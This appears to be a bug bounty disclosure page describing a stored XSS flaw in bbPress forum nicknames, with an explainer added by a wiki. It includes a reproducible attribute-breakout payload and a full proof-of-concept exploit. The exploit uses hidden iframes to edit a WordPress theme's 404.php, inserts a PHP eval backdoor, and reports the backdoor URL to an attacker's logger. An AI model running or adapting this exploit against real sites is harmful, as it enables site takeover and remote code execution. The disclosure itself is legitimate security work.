[bbPress] Stored XSS in any forum post.
A stored cross-site scripting flaw existed in bbPress forum posts: a user could set a crafted nickname that broke out of an attribute and ran script when the post was edited. An attacker could use this to escalate privileges or, as the author demonstrates, run PHP code on the server.
Originally disclosed on HackerOne
- Triaged in 2 hours
- Fixed in 20 days
- Paid in 20 days
- Disclosed after 50 days
#Intro: Encouraged by the success of cure53 and their reward, i start the research plugins in your scope. And almost immediately i found critical Stored XSS, which of course leeds to privelege escalation or PHP code execution. This vulnerability doesnt requres "special" preveleges like CVE-2015-5622. To demonstrate how this vulnerability elementary for expluatation i write a XSS to Shell exploit.
#Steps to reproduce the XSS:
-
Send any message on topic or start new topic.
-
Edit this message.
-
Open http://localhost/wordpress/?bbp_user=%YOUR_USER_ID%&edit=1
-
Edit your "Nickname" to:
user1"onmouseover="alert(1);remove()"style="position:absolute;left:0;top:0;margin-top:-100%;margin-left:-100%;width:5000px;height:5000px" -
Change your "Display Name" to new "Nickname", save and return to thread with your message.
#Screenshot: (In attachment)
#XSS to RCE PoC exploit:
var yourServer = "%Path to your logger%"
var payload = "<?php eval($_GET['wp']); ?>"+"\n";
SitePath = document.head.innerHTML.match(/rel=\"pingback\" href=\"(.*?)\/xmlrpc.php\"/m)[1]
function eas(){ // edit and save
ov = window.frames.win404.document.getElementById('newcontent').value
window.frames.win404.document.getElementById('newcontent').value = payload + ov
document.getElementsByName('win404')[0].setAttribute("onload","");
window.frames.win404.document.getElementsByName('submit')[0].click()
((new Image).src=yourServer+"?message=Check your backdoor here: "+SitePath+"/wp-content/themes/"+themeName+"/404.php?wp=phpinfo();")
}
function pao(){ // parse and open
ewin = window.frames.editor.contentWindow || window.frames.contentDocument
url404 = unescape(ewin.document.getElementById('templateside').getElementsByTagName('a')[0].href)
filepar = url404.match(/\?file\=(.*?)\&/m)[1]
if(filepar.length>10){
themeName = url404.match(/file\=\/themes\/(.*?)\//m)[1]
}
else{
themeName = url404.match(/theme\=(.*?)$/m)[1]
}
var win404 = document.createElement("iframe");
win404.style.opacity=0
win404.name = 'win404';
win404.src = url404
win404.setAttribute("onload","eas();this.onload=''");
document.body.appendChild(win404);
}
var editor = document.createElement("iframe");
editor.style.opacity=0
editor.name = 'editor';
editor.src = SitePath+"/wp-admin/theme-editor.php";
editor.setAttribute("onload","pao();this.onload='';");
document.body.appendChild(editor);
Best regards!
Attachments

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the nickname/display name was inserted into an HTML attribute without proper encoding, allowing an attacker to break out of the attribute and inject event handlers.
Impact
An attacker could run script in the context of other users viewing or editing the post, which the author says leads to privilege escalation or PHP code execution.
What the attacker needed
A forum account able to post
How it was found
- Post a message in a topic or start a new topic.
- Edit that message.
- Open the forum edit URL with your user ID.
- Change your nickname to a value that breaks out of the attribute and adds an event handler.
- Set the display name to the new nickname, save, and return to the thread.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
A forum lets people post messages and set a display name. The site put that display name into a page without properly escaping it, so text typed as a name could be treated as code by the browser. That let an attacker run their own script in another user's browser, and the author chained it to edit theme files and plant a backdoor.
What is XSS?
Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.